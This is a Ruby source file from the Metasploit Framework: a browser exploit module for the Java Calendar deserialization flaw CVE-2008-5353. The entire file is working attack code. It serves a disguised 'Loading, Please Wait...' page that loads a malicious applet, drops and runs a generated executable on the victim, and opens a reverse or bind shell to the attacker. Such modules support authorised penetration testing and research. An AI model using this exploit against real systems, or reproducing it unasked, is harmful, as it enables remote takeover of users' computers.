root / modules / exploits / multi / browser / java_calendar_deserialize.rb @ master
History | View | Annotate | Download (4.9 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
require 'rex'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Exploit::Remote |
| 16 |
Rank = ExcellentRanking |
| 17 |
|
| 18 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 19 |
include Msf::Exploit::EXE |
| 20 |
|
| 21 |
# Superceded by java_atomicreferencearray
|
| 22 |
#include Msf::Exploit::Remote::BrowserAutopwn
|
| 23 |
#autopwn_info({ :javascript => false })
|
| 24 |
|
| 25 |
def initialize( info = {} ) |
| 26 |
|
| 27 |
super( update_info( info,
|
| 28 |
'Name' => 'Sun Java Calendar Deserialization Privilege Escalation', |
| 29 |
'Description' => %q{ |
| 30 |
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. |
| 31 |
|
| 32 |
The payload can be either a native payload which is generated as an executable and |
| 33 |
dropped/executed on the target or a shell from within the Java applet in the target browser. |
| 34 |
|
| 35 |
The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 |
| 36 |
and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected). |
| 37 |
},
|
| 38 |
'License' => MSF_LICENSE, |
| 39 |
'Author' => [ 'sf', 'hdm' ], |
| 40 |
'Version' => '$Revision$', |
| 41 |
'References' =>
|
| 42 |
[ |
| 43 |
[ 'CVE', '2008-5353' ], |
| 44 |
[ 'OSVDB', '50500'], |
| 45 |
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ], |
| 46 |
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ], |
| 47 |
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ], |
| 48 |
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ] |
| 49 |
], |
| 50 |
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], |
| 51 |
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, |
| 52 |
'Targets' =>
|
| 53 |
[ |
| 54 |
[ 'Generic (Java Payload)',
|
| 55 |
{
|
| 56 |
'Platform' => ['java'], |
| 57 |
'Arch' => ARCH_JAVA, |
| 58 |
} |
| 59 |
], |
| 60 |
[ 'Windows x86 (Native Payload)',
|
| 61 |
{
|
| 62 |
'Platform' => 'win', |
| 63 |
'Arch' => ARCH_X86, |
| 64 |
} |
| 65 |
], |
| 66 |
[ 'Mac OS X PPC (Native Payload)',
|
| 67 |
{
|
| 68 |
'Platform' => 'osx', |
| 69 |
'Arch' => ARCH_PPC, |
| 70 |
} |
| 71 |
], |
| 72 |
[ 'Mac OS X x86 (Native Payload)',
|
| 73 |
{
|
| 74 |
'Platform' => 'osx', |
| 75 |
'Arch' => ARCH_X86, |
| 76 |
} |
| 77 |
], |
| 78 |
[ 'Linux x86 (Native Payload)',
|
| 79 |
{
|
| 80 |
'Platform' => 'linux', |
| 81 |
'Arch' => ARCH_X86, |
| 82 |
} |
| 83 |
], |
| 84 |
], |
| 85 |
'DefaultTarget' => 0, |
| 86 |
'DisclosureDate' => 'Dec 03 2008' |
| 87 |
)) |
| 88 |
end
|
| 89 |
|
| 90 |
|
| 91 |
def exploit |
| 92 |
# load the static jar file
|
| 93 |
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" ) |
| 94 |
fd = File.open( path, "rb" ) |
| 95 |
@jar_data = fd.read(fd.stat.size)
|
| 96 |
fd.close |
| 97 |
|
| 98 |
super
|
| 99 |
end
|
| 100 |
|
| 101 |
|
| 102 |
def on_request_uri( cli, request ) |
| 103 |
data = nil
|
| 104 |
host = nil
|
| 105 |
port = nil
|
| 106 |
|
| 107 |
if not request.uri.match(/\.jar$/i) |
| 108 |
if not request.uri.match(/\/$/) |
| 109 |
send_redirect( cli, get_resource() + '/', '') |
| 110 |
return
|
| 111 |
end
|
| 112 |
|
| 113 |
print_status("#{self.name} handling request")
|
| 114 |
|
| 115 |
payload = regenerate_payload( cli ) |
| 116 |
if not payload |
| 117 |
print_error( "Failed to generate the payload." )
|
| 118 |
return
|
| 119 |
end
|
| 120 |
|
| 121 |
if target.name == 'Generic (Java Payload)' |
| 122 |
if datastore['LHOST'] |
| 123 |
jar = payload.encoded |
| 124 |
host = datastore['LHOST']
|
| 125 |
port = datastore['LPORT']
|
| 126 |
print_status("Payload will be a Java reverse shell")
|
| 127 |
else
|
| 128 |
port = datastore['LPORT']
|
| 129 |
datastore['RHOST'] = cli.peerhost
|
| 130 |
print_status("Payload will be a Java bind shell")
|
| 131 |
end
|
| 132 |
if jar
|
| 133 |
print_status( "Generated jar to drop (#{jar.length} bytes)." )
|
| 134 |
jar = Rex::Text.to_hex( jar, prefix="" ) |
| 135 |
else
|
| 136 |
print_error( "Failed to generate the executable." )
|
| 137 |
return
|
| 138 |
end
|
| 139 |
else
|
| 140 |
|
| 141 |
# NOTE: The EXE mixin automagically handles detection of arch/platform
|
| 142 |
data = generate_payload_exe |
| 143 |
|
| 144 |
if data
|
| 145 |
print_status( "Generated executable to drop (#{data.length} bytes)." )
|
| 146 |
data = Rex::Text.to_hex( data, prefix="" ) |
| 147 |
else
|
| 148 |
print_error( "Failed to generate the executable." )
|
| 149 |
return
|
| 150 |
end
|
| 151 |
|
| 152 |
end
|
| 153 |
|
| 154 |
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
|
| 155 |
return
|
| 156 |
end
|
| 157 |
|
| 158 |
print_status( "Sending Applet.jar" )
|
| 159 |
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
| 160 |
|
| 161 |
handler( cli ) |
| 162 |
end
|
| 163 |
|
| 164 |
def generate_html( data, jar, host, port ) |
| 165 |
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
| 166 |
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
| 167 |
html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
|
| 168 |
html += "<param name=\"data\" value=\"#{data}\"/>" if data |
| 169 |
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar |
| 170 |
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host |
| 171 |
html += "<param name=\"lport\" value=\"#{port}\"/>" if port |
| 172 |
html += "</applet></body></html>"
|
| 173 |
return html
|
| 174 |
end
|
| 175 |
|
| 176 |
def generate_jar() |
| 177 |
return @jar_data |
| 178 |
end
|
| 179 |
|
| 180 |
end
|